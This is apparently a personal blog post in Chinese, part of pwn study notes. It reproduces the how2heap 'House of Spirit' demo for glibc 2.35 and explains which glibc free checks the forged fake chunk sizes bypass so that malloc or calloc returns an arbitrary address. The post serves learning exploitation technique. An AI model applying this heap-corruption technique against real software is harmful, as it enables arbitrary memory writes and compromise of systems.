1041 words
5 minutes
屋宇之术:Labyrinth of Houses

House of Spirit#

Applicable Range#

  • latest

Principles#

人生中的第一个「house」,当然是从 Spirit 开始~

下面直接拿 how2heap 的 example code 来学习了,选择的是 glibc_2.35/house_of_spirit.c

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
setbuf(stdout, NULL);
puts("This file demonstrates the house of spirit attack.");
puts("This attack adds a non-heap pointer into fastbin, thus leading to "
"(nearly) arbitrary write.");
puts("Required primitives: known target address, ability to set up the "
"start/end of the target memory");
puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
void *chunks[7];
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(0x30);
}
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
puts("\nStep 2: Prepare the fake chunk");
// This has nothing to do with fastbinsY (do not be fooled by the 10) -
// fake_chunks is just a piece of memory to fulfil allocations (pointed to
// from fastbinsY)
long fake_chunks[10] __attribute__((aligned(0x10)));
printf("The target fake chunk is at %p\n", fake_chunks);
printf(
"It contains two chunks. The first starts at %p and the second at %p.\n",
&fake_chunks[1], &fake_chunks[9]);
printf("This chunk.size of this region has to be 16 more than the region (to "
"accommodate the chunk data) while still falling into the fastbin "
"category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by "
"free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) "
"and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
puts("... note that this has to be the size of the next malloc request "
"rounded to the internal size used by the malloc implementation. E.g. "
"on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for "
"the malloc parameter at the end.");
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it "
"is a valid chunk.\n",
&fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has to be sane. That is > "
"2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for "
"the main arena) to pass the nextsize integrity checks. No need for "
"fastbin size.\n");
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk "
"can succeed.\n",
&fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsize
puts("\nStep 3: Free the first fake chunk");
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
void *victim = &fake_chunks[2];
free(victim);
puts("\nStep 4: Take out the fake chunk");
printf("Now the next calloc will return our fake chunk at %p!\n",
&fake_chunks[2]);
printf(
"malloc can do the trick as well, you just need to do it for 8 times.");
void *allocated = calloc(1, 0x30);
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);
assert(allocated == victim);
}

先说效果,这个攻击基本上就是可以令我们 malloc 返回一个任意地址,比如返回栈地址,然后就可以竭尽所学,做一些瑟瑟的事情了什么?我说的瑟,可是萧瑟的瑟哦~ chill bro

上面这个程序不难理解吧?就是先把 tcache 的 0x40 bin 填满,确保我们接下来所做的都是针对于 fastbin 的 0x40 bin 。接着关键的地方是设置了两个 fake chunk 的 size,一个是 0x40,紧接着它的 nextchunk size 设置为 0x1234,这是为了过两个检查:

首先是我们不希望进入 __libc_free 中的 chunk_is_mmapped 分支执行 munmap_chunk,所以伪造的第一个 chunk size 的 M (IS_MMAPPED) 位必须为 0。然后进入 _int_free 后我们第一个 chunk 的 size 必须满足 size > MINSIZE,否则会抛出 free(): invalid size,接着由于我们希望进入 fastbin,所以 size 必须在 fastbin 最大支持大小范围内,且 chunk_at_offset(p, size) != av->top,即紧临着的 nextchunk 不能是 top chunk,这就是为什么需要伪造两个 chunk 的原因。最还还不能满足 chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ,即 nextchunk 的大小不能小于等于 chunk header size 和 chunksize (chunk_at_offset (p, size)) >= av->system_mem,即下一个 chunk 的大小大于不能大于当前 arena 内存池大小这两个检测,否则就抛出 free(): invalid next size (fast)。到此为止检测就绕差不多了,然后它会将这个 chunk 放到 fastbin 中,就不过多赘述了。

IMPORTANT

注意 NON_MAIN_ARENA 位也会有影响,得设置成 0 告诉 glibc 这是 main arena 的 chunk 。

nextchunk 的大小无关紧要,只要能绕过检测就好了,不一定非得是 fastbin 范围内的大小。

感觉写了一堆没用的,还不如直接看 example code + glibc source code + 自己 debug 理解的透彻……可能是这块内容确实不好写,因为写详细的话必然得贴 glibc 代码片段,考虑到以后还有各种各样其它的 house,肯定会有重复的内容,属于是增加碳排放了,我可是坚定的环保主义者(

好麻烦……后面有时间我再研究研究怎么写吧,也可能会直接删掉,只保留部分内容也说不准?

屋宇之术:Labyrinth of Houses
https://cubeyond.net/posts/pwn-notes/labyrinth-of-houses/
Author
CuB3y0nd
Published at
2025-10-04
License
CC BY-NC-SA 4.0